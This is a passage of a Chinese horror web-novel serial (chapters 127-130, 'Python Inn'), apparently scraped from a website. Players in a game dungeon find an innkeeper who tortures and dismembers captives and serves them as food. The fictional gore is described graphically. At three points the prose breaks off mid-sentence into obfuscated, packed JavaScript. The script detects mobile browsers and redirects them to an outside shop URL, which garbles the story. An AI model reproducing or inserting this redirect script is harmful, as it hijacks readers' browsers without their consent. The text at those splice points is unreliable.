赵禾踢了踢墙角的麻袋,和他们在后院木屋见到的一模一样,袋口渗出深色液体:“用什么腌的?” “祖传的配方。”老板从架子上取下一个陶罐,掀开盖子。罐子里跑着数十条小蛇,他们的鳞片在腌料中泛着诡异的蓝光,“这是山里的蛇,最能去腥提鲜。” 白闽盯着陶罐里的小蛇沉默片刻,干笑两声:“你…懂得还挺多哈。” 老板笑了笑,将盖子重新盖到陶罐上:“从小就住在山里,自然懂得这些。”他转过身,用干净的布擦着刀,“这里味道太重,马上晚饭了,两位姑娘请回大厅吧。” 白闽立刻拉着赵禾逃也似的离开厨房,走之前还不忘把门关上,勉强隔绝掉那股腐臭味。 初与序刚好从楼梯上下来,她用纸巾抱着手,拿着一片泛着青光的蛇蜕,脸色比平时更冷。 “房间的床下有血,还有蛇蜕。”初与序开门见山,“二楼走廊也有,新鲜的。”说着,她将蛇蜕翻过来,内侧黏附的透明黏液里面混着几丝暗红。 赵禾瞥了眼厨房方向:“那个老板在腌蛇肉,里面摆放的麻袋和木屋里的一样。” “味道极重。”白闽捏着鼻子吐槽。 初与序将蛇蜕收进面板,刚要开口,大厅的座钟突然敲响。餐厅的门被推开,住客们鱼贯而入,谈笑声比中午更加高亢。 三人跟在人群末尾,长桌上已经摆好了餐食,和中午的菜品差不多。白闽数了数座位,心头一紧:“好像少了三个人。” 那个戴毛线帽的老头不见了,连同他邻座的一对年轻情侣。他们的位置空着,但餐具整齐地摆着,仿佛随时会有人来坐。 “山里信号差,他们提前下山了。”老板出现在主位,解释道。住客们发出心领神会的笑声,刀叉已经迫不及待地戳向肉块。 初与序盯着老板袖口,那里有一小片未擦净的青黑色污渍,像干涸的蛇血。她默默地移开目光,没有碰桌上任何餐具,而是靠在椅背上,侧头望向窗外。 白闽皱眉看着肉块,用只有三人能听见的声音说:“今晚的不会还是蛇肉吧?” “不是。”赵禾淡淡道。 白闽松了口气,但又好奇道:“那是什么动物的肉?野猪肉?” “人肉。” 白闽:“……” 怎么一个比一个恐怖啊?! 初与序全程没有开口说话,窗外,快满月的月亮升到了旅馆上空,树影在玻璃上投下蜿蜒的蛇形阴影。 127.蟒蛇旅馆 晚餐接近尾声时,老板用银勺轻敲酒杯,清脆的声响让嘈杂的餐厅瞬间安静下来。 “相信各位都听说过深山里关于骨笛的传言。”他的声音很轻,所有住客都停下了刀叉,“为了大家的安全,今晚和明晚九点以后,旅馆将锁门关窗。” 他的目光缓缓扫过每个人的脸,最后停留在初与序三人身上,嘴角勾起一抹若有若无的弧度。 “十一点之后,请各位务必留在自己房间,无论听到什么动静,都不要出门,尤其不要靠近厨房。”他顿了顿,继续道,“以及我的房间附近。” 餐厅里一片死寂。 “当然。”老板忽然笑起来,“这只是预防措施,毕竟传言只是传言,不是吗?” 住客们发出干巴巴的笑声,没人再动桌上的肉。 钟声敲响九下。 “现在。”老板站起身,弯腰告别,“请各位回房休息。祝大家…做个好梦。” 走廊的壁灯突然暗了一瞬,当灯光再度亮起时,老板已经不见了踪影。 住客们缓缓散去,三人呢回到二楼走廊。初与序在房门前停下,目光落在房间的窗户上。 锈蚀的锁链依旧缠绕在窗框上,每一环铁链都泛着暗红的锈迹,纤尘不染。她伸手碰了碰,又缩回手:“是冰的。” 赵禾踮脚检查锁链的接头处:“没有撬痕,也没有灰尘。经常被人使用,却故意做旧。” “我们下午出门时,这些锁链就在这里。”白闽抱着胳膊,“老板说‘锁门关窗’,这玩意儿明显是早就准备好的。” 初与序转头看向走廊尽头,那里有一面模糊的穿衣镜,镜中似乎有什么东西一闪而过。她眨了下眼,压低声音:“十二点后见,你们先回房。” 白闽挑了挑眉:“你一个人在这儿怕不怕?要不和我们挤挤?”她朝隔壁的大房间看了看,“床够大。” “不用了。”初与序摇头。 “OK。”白闽耸耸肩,和赵禾往隔壁走,临走前突然回头,笑道:“有事就叫我们。” 关上门,初与序环顾房间。目光落在角落的穿衣镜上,镜面过于干净,反射的角度也微妙地偏移,仿佛有什么东西正躲在镜中窥视。 她脱下大衣,直接罩住整面镜子。布料垂落的上一秒,镜框边缘似乎有青黑色的磷光一闪而过。 初与序转过身,忽然僵住。 窗台上盘着一条眼镜蛇。 蛇身足有成年男子手臂粗细,鳞片在月光下泛着金属般的冷光。它静静地看着初与序,竖瞳收缩成一条细线,分叉的蛇信缓缓吞吐。 初与序没什么表情,手指悄悄摸上了腰间的短刀刀柄。 一人一蛇无声对峙。 突然,蛇头微微偏了偏,竟像是某种思考的姿态。下一秒,它倏地游向窗缝,鳞片刮擦锁链发出刺耳的声响,转眼消失在夜色中。 初与序快步上前,关上窗户。锈蚀的锁链自动绞紧,将窗框彻底封死。 午夜十二点的钟声刚敲完最后一响,初与序便从床上无声地坐起,右眼的失明让黑暗变得更浓稠。她扯下罩在镜子上的大衣,迅速套在身上,镜面在黑暗中泛着微弱的冷光,却找不出任何倒影。 推开门,白闽和赵禾已经等在走廊上。整条走廊空无一人,壁灯不知何时已经全部熄灭,只有月光从尽头的窗户渗进来。 “老板的房间在一楼转角。”初与序用气音说,“从外面绕。” 三人悄无声息地穿过楼梯,旅馆的大门果然已经锁死,白闽的紫鞭缠住门闩轻轻一拽,将门拽开。夜风裹着山间的湿冷扑面而来,月光将旅馆外墙照得惨白。 他们贴着墙根移动,避开每一扇可能被看见的窗户。转角处,老板房间的窗户半掩着,没有锁链,只有薄纱窗帘被风吹得微微鼓起。 窗户很高,似乎是故意防止有人进入。初与序伸手,手指擦过窗台,指腹粘上一层细密的青黑色粉末。初与序指了指窗户,又指了指自己,示意自己一会儿从窗户翻进去。 白闽压低声音,犹豫道:“大晚上偷溜进其余人屋里,是不是…不太好?” “你觉得老板是人吗?”赵禾冷冷道。 白闽摇摇头:“副本NPC没几个是活人。” “他连人都不是了,进去不会怎么样。” “对哦!”白闽恍然大悟,甩出紫鞭,鞭条精准地缠住窗框上沿,为攀爬提供支点。 “小心。”赵禾压低声音。 初与序点头,一手搭在紫鞭上,另一手撑住窗台,借力利落地翻进屋内。她的声音被黑暗吞噬,白闽小心翼翼地收回紫鞭,防止被人看见。 房间里弥漫着草药的味道,床上,老板背对着她,被子拉高到鼻梁,只露出苍白的额头和紧闭的双眼。他的呼吸平稳绵长,似乎睡得很沉。 初与序无声地移动,观察整个房间。 衣柜由老式红木制成,门缝里夹着一小片青黑色的布料,像是从什么衣物上撕下来的。书桌干干净净,连一丝灰尘都没有。靠近衣柜的位置有几道新鲜的刮痕,像是被什么沉重的东西拖拽过。 观察了半天,房间里确实没有任何异常。没有骨笛,没有蛇蜕,甚至连一丝血腥味都闻不到。 最终,她的目光落在衣柜门上。木质柜门紧闭,没有任何把手或锁孔。她悄悄走过去,伸手轻轻一推。 柜门无声打开,露出里面黑洞洞的空间。然而,本该挂着衣物的衣柜内部,竟延伸出一条向下的台阶,粗糙的石阶边缘泛着潮湿的水光,仿佛通向某个不见天日的地窖。 初与序回头看了一眼床上的老板,他依然背对着窗户,被子下的身形随着呼吸微微起伏,睡得正沉。 原本夹在衣柜门缝里的布料掉落在地上,她弯腰捡起,触到布料上干涸的暗红色污渍,是血迹氧化后的痕迹。 她无声地踏入衣柜,在关门的同时,将布料重新夹回原位,确保从外面看不出任何异常。 黑暗彻底笼罩,她掏出手机,打开手电筒,冷白的光束刺破黑暗。台阶陡峭向下,两侧墙壁渗出细密的水珠,空气里弥漫着越来越浓的血腥味, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16675033|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 令人作呕。 她向下走出,石阶尽头,是一个低矮的拱形空间。 第一眼看到的,是摆在入口处的木盒。 盒子敞开,里面整整齐齐地码着一排干枯的人类手指,扭曲变形,像是死前经历了极大的痛苦。每根手指的根部都缠着一圈细绳,绳结上挂着小小的标签,写着模糊的日期。 她没有碰任何东西,手电筒的光束向前探去,照出地下空间更深处的情景。 两具人彘被吊在锈迹斑斑的铁钩上,躯干残破不堪,四肢的断口处血肉模糊,像是被某种锯齿状的东西硬生生撕扯下来的。他们的脸还保留着生前的表情——惊恐、绝望,甚至有一丝难以置信。 是那对晚饭时期消失的年轻情侣。 墙角堆着几团模糊的血肉,隐约能辨认出是被剁下来的四肢,但上面大部分皮肉都被削去,做成了住客们的晚饭。更深处,几个活人被麻绳死死捆住,嘴里塞着破布,眼神涣散,脸上布满干涸的泪痕。 他们空洞的目光转向光源处,在看到初与序的瞬间,疯狂扭动起来,喉咙里发出“呜呜”的声响,充血的眼睛里发出希望,完全把初与序当成了救世主,希望她可以救下自己。 初与序快步上前,正准备扯开其中一人嘴里的布条。 “吱呀——” 头顶传来衣柜门被推开的声音,紧接着是脚步声。缓慢、从容,一步步踩在石阶上,朝着地下空间逼近。 初与序熄灭手电筒,手机往口袋里一揣,飞快躲进角落的阴影里,紧贴着潮湿的墙壁。 油灯昏黄的光晕从台阶上漫下来,映出老板修长的影子。他左手提着油灯,右手拎着一把厚重的斩骨刀,刀刃上还沾着血浆。 血腥味浓得几乎凝成实质,老板皱了皱眉,低头咳嗽两声,苍白的面颊因窒息感泛起病态的红晕。 被捆住的活人们见到他,疯狂地往角落锁去,喉咙里挤出呜咽。 老板径直走向最外侧的男人,那是个健壮的年轻人,此刻却抖如筛糠,眼泪和鼻涕糊了满脸,断断续续的“嗬嗬”声从塞住的嘴里漏出来。 “安静点。”老板轻声说,“别吵到住客们了。” 他猛地扬起刀,刀光一闪。 男人的右手齐腕而断,啪地掉在地上,手指还痉挛地抓挠了两下。男人堵住的嘴里爆发出闷哑的哀嚎,他疯狂扭动着,断腕处喷出的鲜血溅在老板雪白的衬衫上,绽开一串红梅。 老板皱眉,似是很讨厌哀嚎声,抬脚狠狠踹在男人脸上。 男人的后脑重重撞上石墙,颅骨碎裂的声音清晰可闻,鲜血顺着墙缝蜿蜒而下。他的身体软软滑倒,但还没死透,眼球还在因剧痛而颤动。 老板蹲下身,刀尖轻轻划过男人的上臂,像是在斟酌下刀的位置。 第一片肉被削下来,薄如蝉翼,落在血泊里。 然后是第二片,第三片,第四片。 老板的动作精准,仿佛不是在凌迟一个活人。血溅在他的脸上,他只是微微抿着唇,像是忍受某种令人不悦的气味。 128.蟒蛇旅馆 阴影里,初与序面无表情地看着眼前这一幕。 血很浓,肉很碎,惨叫很闷。但对一个通关过很多次副本的初与序来说,已经能平静地看完这一段剧情了。她甚至开始思考:血腥味真的有那么呛人吗? 老板的咳嗽声又一次响起,他皱着眉,用袖口掩住口鼻,像是被这味道折磨得不轻。 蛇类的嗅觉很敏感。 这个念头刚在脑海中闪过,耳边突然传来窸窸窣窣的声响,初与序微微侧头。 之前在窗框上的那条眼镜蛇不知何时出现在她脚边,青黑色的鳞片在油灯的光下泛着冷光。它抬起头,竖瞳直勾勾地盯着初与序,蛇信吞吐,发出轻微的嘶嘶声。 他们对视了几秒,蛇突然歪了歪脑袋,像是某种思考的神态。下一秒,它突然调转方向,朝着老板的位置游去。 初与序猛地愣住。 它在报信。 如果老板真的是半蛇类,那么他便能听懂蛇语,自己就会被发现。 老板手中的刀尖悬在半空,一滴血顺着刃口缓缓滑落。眼镜蛇游到老板脚边,鳞片擦过地面发出细微的沙沙声。它没有吐信,只是昂起头,竖瞳直直地望向他。 老板停下动作,垂眸与蛇对视,苍白的面容在油灯下显得格外阴冷。半晌,他抿了抿唇,喉咙里发出一串奇异的嘶嘶声。像是蛇类的低语,又像是某种古老的语言,似乎是在问眼镜蛇“怎么了?”。 眼镜蛇微微张嘴,尖牙在灯光下泛着寒芒,正要回应。 “砰——!!!” 一声巨响从屋外传来,震得地下的墙壁都微微颤动。油灯的火苗剧烈摇曳,将影子撕扯成狰狞的形状。 老板猛地站起身,脸上的阴冷瞬间化为警觉。他最后扫了一眼角落里的活人们,又低头看了看眼镜蛇,终究没再说什么,提着油灯快步走向台阶。 眼镜蛇在原地待了几秒,见主人离开,也无声地滑入黑暗,消失在墙角缝隙中。 初与序从阴影中走出,目光落在那群奄奄一息的活人身上。她没有犹豫,立刻原路返回,轻盈地翻出窗外。灰色大衣下摆在夜风中微微扬起,落地时几乎没有声响。 赵禾迎了上来,低声问:“白闽去制造动静了。” 话音刚落,白闽就从远处小跑过来:“我搞定得及时吧?踹翻了后院的腌肉捅,老板已经追过去了。你在衣柜里发现了什么?” 初与序简短地描述了地下空间的惨状:被肢解的尸体,奄奄一息的活人,还有老板熟练的凌迟手法。 白闽的脸色发青,立马做了个噤声的手势:“别说了别说了,再说我要吐了。” 房间里的油灯突然再次亮起,昏黄的光线透过窗户。三人安静下来,迅速蹲下身,隐藏在窗檐下的阴影中。 透过半开的窗户,他们看见老板阴沉着脸走回房间。那条眼镜蛇不知从哪里钻了出来,顺着床柱蜿蜒而上,最终停在老板的肩膀上。蛇信吞吐,发出“嘶嘶”声。 而老板竟然也用同样的“嘶嘶”声回应着,他的嘴唇几乎没动,声音像是直接从喉咙深处挤出来的。 “蛇语?”赵禾趴着窗框,盯着窗内的情景。 白闽皱了皱眉,竖起一根手指抵在唇前,示意安静。片刻之后,她压低声音,竟然开始翻译: “蛇说:‘刚才有个穿灰色大衣的长发女生躲在下面,大概十八九岁,脖颈右侧有一道疤,看见你杀人了’。” “老板问:‘她还在下面吗’?” “蛇回答:‘已经翻窗走了’。” 老板的脸色变差,他站起身,眼镜蛇顺势滑落在地上。三人立刻屏住呼吸,紧贴墙壁。 窗框被粗暴地推开,老板探出身子,目光扫过院落。 月光下,院落里空无一人,只有风吹过灌木的沙沙声。老板的视线在三人藏身的地方停留了几秒,最终关上了窗户。他们听见锁扣咔嗒扣紧的声音,接着是窗帘被拉上的摩擦声。 三人对视一眼,一同退向更深的黑暗,直到回到旅馆二楼,她们才敢开口说话。 “你听得懂蛇语?”初与序转向白闽。 白闽挥挥手:“蛇语算什么?动物和外国人说话我都听得懂,只是不怎么听。”她顿了顿,“你们就把我当作可以翻译各种语言的变异人吧。” 赵禾仰头看向初与序:“老板一定会杀你灭口,他不可能让目击者活到月圆夜。” 初与序沉默片刻,手指无意识触碰到脖颈右侧的疤痕。整栋旅馆内,脖颈上有疤的长发女生只有她,老板已经锁定了她,她没办法糊弄过关。 “明天我不下二楼。”她平静地说道。 “也行,那我和赵禾去应付,就说你病了。”白闽接话,“反正老板也不敢在白天明目张胆地闯进客人房间。” 三人不再多言,各自回到房间。初与序反锁房门,短刀放在枕边,大衣依旧罩住那面诡异的穿衣镜。窗外,月亮又圆了一分,惨白的光透过缝隙,在墙上投下阴影。 清晨的钟声在旅馆内回荡,沉闷的声响像是从很远的地方传来。白闽和赵禾一前一后地下楼,餐厅里已经聚集了不少住客。 长桌上的早餐出人意料地简单正常,白粥冒着热气,瓷碗边缘凝着米汤的薄皮,馒头松软,旁边摆着一碟腌萝卜。 老板站在餐厅角落,脸色比昨日更加苍白,眼下挂着青黑,像是整夜未眠。他扫视人群,最终看向白闽和赵禾。 “你们不是还有一位同伴吗?”他走过来,声音依旧温和,“怎么不下来吃早饭?” 白闽正往嘴里塞馒头,闻言眨了眨眼,一脸无辜:“她病了,头疼得厉害,在房里休息呢。”她叹了口气,“可能是昨天出门吹了风,山里湿气重嘛。” 老板面无表情,转向赵禾。 赵禾低头喝粥,头也不抬:她让我们别吵她。” 老板沉默了几秒,最终只是点点头:“需要热茶或药的话,随时告诉我。” 房间里,初与序坐在窗边,望着远处被晨雾笼罩的山峦。薄雾如纱,缠绕着苍翠的林木,阳光穿透云层,在树梢镀上一层浅金色。如果忽略掉窗框上那些锈迹斑斑的铁链的话,不得不说,这场副本里的风景很好看。 突然,楼下传来刻意压低的呼唤声:“初与序!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16709865|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 她一脸懵地低头看去,白闽和赵禾站在旅馆外的空地上。白闽手里捧着一碗白粥,另一只手抓着两个馒头,正仰着脸冲她笑:“吃早饭吗?给你带了点。” “谢谢。”初与序沉默了几秒,“……但是你为什么不从正门给我?” “怕被人看见啊。”白闽回答,“再说了,外面比旅馆安静多了,连个鬼影子都没有。”她忽然顿住,眨了眨眼,“等等,我忘了考虑你怎么从二楼下来……” 初与序叹了口气,起身套上大衣。她单手撑住窗台,轻盈地翻出窗外,鞋底精准地踩在缠绕的铁链上。她的体重较轻,铁链足够稳固。初与序借力一跃,稳稳落地。 赵禾抱着手臂:“你不是说今天不下二楼吗?” 初与序接过馒头,淡淡道:“那我现在再回去?” “别回去了。”白闽左右看了看,“十几个小时后就是月圆之夜了,再在山里找找有没有地下室、木屋啥的地方,看看有没有线索。” “走吧。”赵禾转身。 晨雾在山林间缓缓流动,初与序拿着早餐走在最后。白闽走在最前,握着紫色长鞭,时不时扫开挡路的荆棘。 赵禾低下头,看见地面上有一道不自然的拖痕,痕迹尽头隐没在一丛茂密的灌木后。白闽用鞭子拨开枝叶,露出一个半人高的洞穴入口。潮湿的冷风从洞内渗出,带着淡淡的腥气。 初与序将剩下半个馒头塞进口袋里,拔出短刀:“进去看看。” 洞内光线昏暗,岩壁上凝结着水珠,白闽打开手机照明,光束照出地面上零星的碎骨。 越往里走,温度降得越快,三人的呼吸在空气中凝成白雾。岩壁上的水珠结成了细小的冰晶,在手机光线下闪烁着冷光。 地上散落的骸骨越来越多,有的是动物的,骨骼纤细,像是野兔或山鸡;但更多的明显属于人类,头骨空洞的眼窝直勾勾地望向闯入者,断裂的肋骨上留着清晰的齿痕。 “这些骨头有点怪。”白闽用鞭子挑起一块碎裂的盆骨,“上面的咬痕太整齐了,不像是野兽。” 初与序蹲下身,看着骨面上的齿痕:“是人为的,有人在这里处理尸体。” 赵禾突然举起手,示意两人停下动作:“有东西在……” 话音未落,一道青影从她身后的岩峰中闪电般窜出! 赵禾头也不回,右手如铁钳般猛地向后一抓,精准地掐住了那条小蛇的七寸。蛇身疯狂扭动,毒牙距离她脖颈只有寸许。她眼神一冷,手臂肌肉绷紧,狠狠将蛇砸向岩壁。 “啪!”一声,蛇身软绵绵的滑落在地,不再动弹。 这是初与序第一次见到赵禾出手,她能百分百确认这种反应力,永冬之城没有第二人拥有。 “哇小妹妹,不愧是全服第三哈。”白闽伸手鼓掌。 但这一下仿佛触发了什么。 三人身后的入口处,传来密集的“沙沙”声。黑暗中亮起密密麻麻的幽绿色光点,输不起的蛇从缝隙中涌出,蛇信吞吐,嘶嘶声连成一片死亡的浪潮。 白闽鼓掌的动作僵住:“……我们好像闯进蛇窝了。” 129.蟒蛇旅馆 初与序立刻挥动短刀,寒光闪过,三条飞扑而来的毒蛇断成两截。赵禾捡起地上的一根腿骨做武器,每一次挥击都精准地击碎蛇头,白闽的鞭子如游龙,所过之处蛇血飞溅。 但蛇群实在太多了,它们从四面八方涌来,有些甚至从头顶的岩峰中垂落。一条花斑蛇趁机缠上白闽的小腿,毒牙狠狠刺入! “喂!不太这么玩的!”白闽嘴上抱怨,嘴里鞭势不停,反手将蛇抽飞。 “往深处退!”赵禾拉住她的胳膊,短刀划出一道银弧,为三人开路。 蛇潮紧追不舍,三人向洞穴更深处跑去。深处的冷风夹杂着腥气扑面而来,身后窸窸窣窣的蛇群声如同催命的咒语,越来越近。 “跑不过的。”初与序忽然刹住脚步。 白闽也停住脚步,左右看看:“那怎么办?难不成让我用蛇语和它们谈判?我只听得懂蛇语,不会说啊。” 初与序的目光扫过岩壁上的一道缝隙,那里有一处凹陷的阴影区,勉强能容纳三人。 “蛇的视力较差。”她压低声音,快速将两人推进阴影中,“尤其对静止的目标。” 三人紧贴岩壁,初与序抓起地上的湿泥,快速抹在每个人的衣领和袖口上。泥土的气味掩盖了人体的温度和气味。白闽咬紧牙关忍住腿上的疼痛,赵禾死死盯着前方,一动不动。 蛇群如潮水般涌来,几条青黑色的毒蛇游到三人脚边,蛇信吞吐,在空气中探寻猎物的踪迹。其中一条甚至从初与序的鞋面上滑过,冰凉的鳞片擦过脚踝。 蛇头左右摆动,竖瞳在昏暗的光线下收缩又扩张,却始终没能锁定近在咫尺的猎物。最终,它们缓缓游开,追随大部队向洞穴更深处滑去。 岩壁上的水珠滴落在初与序的脖子上,冰冷如蛇的触感。直到最后的“沙沙”声消失,三人才长长呼出一口气。 白闽低下头看着自己腿上的两个小洞,松了口气:“还好那条蛇没有毒。” “还是先回旅馆处理一下。”初与序不放心道。 “诶朋友,听过一句话没?”白闽不在乎地挥挥手,“‘来都来了’,啥都没发现,那我不是白挨这么一咬了?再往里面走走,说不定能发现什么东西呢?比如那支骨笛。” 初与序见状点点头,率先往洞穴深处走去。 寒气愈发刺骨,岩壁上凝结的冰晶在手机灯光下反射出幽蓝的冷光。三人谨慎前行,脚下的泥土逐渐变得松软潮湿。 忽然,白闽的紫鞭端触碰到了什么,发出轻微的“沙沙”声,她将光束照过去。 那是一张完整的蛇蜕,盘踞在洞穴最深处,足有水桶粗细,鳞片纹路清晰可见。 三人发现,这些鳞片的排列方式与昨日老先生描述的骨笛纹路一模一样,每一片都泛着青铜般的冷光,在灯光下隐约浮现人类皮肤般的凹凸纹路。 而在蛇蜕旁边的地面上,静静地放着一个狭长的木匣,匣面刻着与蛇鳞相同的纹路,缝隙渗出淡淡的腥气。初与序俯身,用短刀挑开匣盖。 骨笛静静地躺在猩红绒布上。 笛身惨白,像是经过特殊处理的骨骼,表面密布着与蛇蜕完全一致的鳞状刻纹。笛孔边缘泛着诡异的暗红色,似乎长期被血浸润。笛子的一端微微弯曲,形似蛇头,另一端则保留着脊椎骨节的原始形态。 白闽用鞭子划开蛇蜕表面,青黑色的黏液顿时涌出,像腐败的血浆。黏液滴落在地面,立刻腐蚀出蜂窝状的孔洞,嘶嘶作响的黑烟裹着刺鼻的腥气腾起。 “这是什么……”赵禾刚要后提,余光却瞥见初与序突然发力跃起。 她单手抓住高处岩壁的凸起,腰腹发力,整个人利落地翻进上方一个隐蔽的岩峰里,瞬间消失在阴影中。 白闽一脸懵:“她干嘛……” “山里常有蛇患。” 温润的嗓音突然在背后响起,白闽和赵禾浑身一僵,缓缓转身。 老板不知何时站在他们身后三步之遥,苍白的脸上挂着熟悉的微笑。他的衣角沾着新鲜的泥渍,右手自然垂在身侧,左手却背在身后。岩峰的幽光映在他脸上,将那双含笑的眼照得像冷血动物的眼珠。 “两位客人怎么跑到这种地方来了?”他向前迈了一步,背在身后的左手若隐若现,似乎握着什么细长的物件。 高处岩峰中,初与序的短刀刀尖缓缓对准了老板的后颈。而在众人头顶的黑暗里,那条眼镜蛇正顺着钟乳石缓缓游下。 白闽的手悄悄摸上紫鞭,脸上却扬起一个灿烂的笑容:“老板怎么也来这人了?我们就是好奇,随便转转。” 老板的目光缓缓扫过地上被划开的蛇蜕,又瞥向那个打开的木匣。他的嘴角依然挂着笑,但眼里的温度彻底消失了:“深山老林,危险多。前两天还有游客被毒蛇咬伤。”他的视线意有所指地落在白闽的小腿上,“需要帮忙吗?” 白闽摆摆手:“不用了,我们这就回去。” “正好顺路。”老板微微倾身,做了个“请”的手势,背在身后的左手依然没有露出,“我送两位回旅馆。” 岩峰中的初与序垂眸看去,从这个角度,她终于看清了老板左手拿着的东西。那是一把细长的剔骨刀,刀刃上还有着新鲜的暗红色血迹。 “那就麻烦老板了。”白闽拽了拽赵禾的衣角,两人慢慢朝洞口方向走去。老板跟在他们身后,几乎听不到脚步声。 就在三人即将离开洞穴时,那条眼镜蛇突然从钟乳石上垂下,竖瞳直勾勾地盯着岩峰中的初与序,蛇信无声地吞吐。 “……怎么又是你?”初与序忍不住用气音开口。 蛇没吭声(当然它也不会吭声),依然歪着脑袋和她对视,竖瞳里闪烁着一种…奇特的、近乎呆萌的专注。初与序忽然意识到,这条蛇似乎有个古怪的癖好——每次行动前都要先和对手深情对视几秒钟。 “……” 初与序的右手已经按在了短刀上,但转念一想,要是老板发现自己心爱的宠物蛇莫名其妙失踪了,想都不用想就知道是谁干的。这是A级副本,到时候别说撑到月圆之夜了,怕是连今晚的月亮都见不到。 僵持两秒后,初与序突然福至心灵,左手慢悠悠从口袋里摸出早上剩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16709866|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下的半块馒头。 “你吃吗?”她掰下一小块,在眼镜蛇前晃了晃,“吃了就不能和你主人说你见到过我。” 眼镜蛇的视线瞬间从她脸上移到了馒头上,脑袋左右摆动。 初与序趁机把馒头屑扔到远处,蛇犹豫了一秒,最终扭着身子欢快地游走了,临走时尾巴尖还愉快地摆了摆,完全忘记了自己本该是个高冷的蛇类刺客。 初与序叹了口气,突然觉得这副本的恐怖氛围正在被一条吃货蛇带偏…… 她果然从岩壁跃下,轻巧地落回地面,走向那个盛放骨笛的木匣,蹲下身仔细端详。 骨笛在昏暗的光线下泛着惨白的光泽,笛身上的蛇鳞纹路触感冰冷,指尖抚过时,竟能感受到细微的震动。初与序犹豫片刻,将骨笛轻轻拿起,抵在唇边。 但是没有声音。 果然只有吹笛人才能使用,她将骨笛重新放回木匣,合上盖子时,隐约听到笛孔中泄出一丝幽怨的呜咽,像是被囚禁的怨灵发出的叹息。 确认四周再无异常后,初与序迅速离开洞穴,回到旅馆附近。 她绕道旅馆后方,仰头看了眼自己房间的窗户,铁链依然缠绕在窗框上。她助跑两步,一脚踏上一楼窗台的边缘,借力跃起,顺着铁链攀上二楼窗台,翻身入内,整个过程悄无声息。 房间里一切如常,像她离开前那样。她刚把窗户关严,就听见走廊上传来脚步声。 白闽和赵禾压低嗓音的交谈由远及近:“初与序?” 初与序抬手轻敲了两下墙壁作为回应。 “回来就好。”白闽松了口气,和赵禾走下楼。 午后,旅馆大厅的壁炉烧得正旺,但温度却反常地持续下降。白闽搓了搓胳膊,往壁炉边又凑近了些:“这火是假的吧?怎么越烤越冷?” 赵禾没说话,看向大厅里其他住客。诡异的是,原先行为正常的住客们,此刻却像被控制住的木偶,机械地来回踱步,嘴里反复念着:“月圆真美啊……月圆真美啊……” 白闽压低声音:“今晚就是月圆夜了,骨笛肯定会吹响。”她指了指耳朵,“我在想,要不要戴耳塞?” 赵禾从面板中摸出耳塞:“戴,安全。” “但戴了就听不到关键线索了,说不定笛声里有什么暗号。”白闽皱眉,“不戴的话……”她做了个抹脖子的动作,“到时候怎么死的都不知道。” 两人沉默片刻,壁炉里的火柴爆出一簇火星,“噼啪”一声响。 “折中吧。”白闽想到了什么,“你戴耳塞,我不戴。” 见赵禾要反驳,她立刻补充:“如果我中招了,你还能把我弄醒。但如果我们都戴了,就真成聋子了。” 赵禾最终把耳塞塞回口袋:“你中招的话,我会抽醒你。” “喂!不能温柔点吗?” “不能。” 白闽正要抗议,突然打了个寒颤。 ——不知何时,老板悄无声息地站在了楼梯拐角处。他手里端着一杯热气腾腾的茶,苍白的脸上挂着微笑:“两位客人,需要热茶驱寒吗?” 130.蟒蛇旅馆 白闽扬起笑脸,冲老板摆摆手:“不用啦,我们就是烤烤火,一会儿就回房休息了。” 赵禾面无表情地点点头。 老板的目光在两人身上停留了几秒,嘴角的笑意更深了:“今晚月色会很美,记得关好门窗。”说完,他转身离开。 等老板的身影完全消失,白闽才松了口气,压低声音道:“他这话听着就像‘今晚记得锁好门,有人要来杀你们了’。” 旅馆里的温度还在持续下降,壁炉的火光明明很旺,却感觉不到丝毫暖意。那些呆滞的住客们不知何时已经排成了一列,缓慢地朝着二楼移动,嘴里依然机械地重复着“月圆真美啊。” “他们要去哪里?”白闽皱眉。 赵禾站起身:“回房,现在。” 两人快步上楼,回到了大房间,飞速把门反锁上,才放下心来。白闽瘫倒在大床上,将被子裹了裹:“咱俩先睡一会儿,晚上估计有一场恶战。” 赵禾点了点头,从口袋里拿出耳塞戴上,隔绝了一切声音。 午夜,旅馆陷入一片死寂。 窗外,一阵悠扬诡异的笛声正缓缓飘来。赵禾感觉身边一空,她立马从睡梦中惊醒,转头看向白闽。 白闽闭着眼,神情呆滞,身体却已经直挺挺地坐了起来,双手垂在身侧,动作僵硬得像一具提线木偶。她缓缓掀开被子,双脚落地,眼看就要往门外走。 赵禾毫不犹豫,“啪!”地一巴掌重重拍在她肩膀上。 “呃…干啥?!”白闽吃痛,瞬间清醒,刚要骂人,嘴被赵禾死死捂住。 